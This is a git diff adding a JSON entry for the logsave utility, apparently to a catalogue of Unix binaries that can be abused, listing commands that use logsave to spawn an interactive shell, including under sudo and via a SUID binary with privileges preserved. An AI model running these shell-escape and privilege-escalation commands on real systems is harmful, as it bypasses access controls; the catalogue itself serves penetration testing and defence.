diff --git a/data/logsave.json b/data/logsave.json
new file mode 100644
index 0000000..58033a0
--- /dev/null
+++ b/data/logsave.json
@@ -0,0 +1,19 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "code": "logsave /dev/null /bin/sh -i"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "sudo logsave /dev/null /bin/sh -i"
+      }
+    ],
+    "suid": [
+      {
+        "code": "./logsave /dev/null /bin/sh -i -p"
+      }
+    ]
+  }
+}
\ No newline at end of file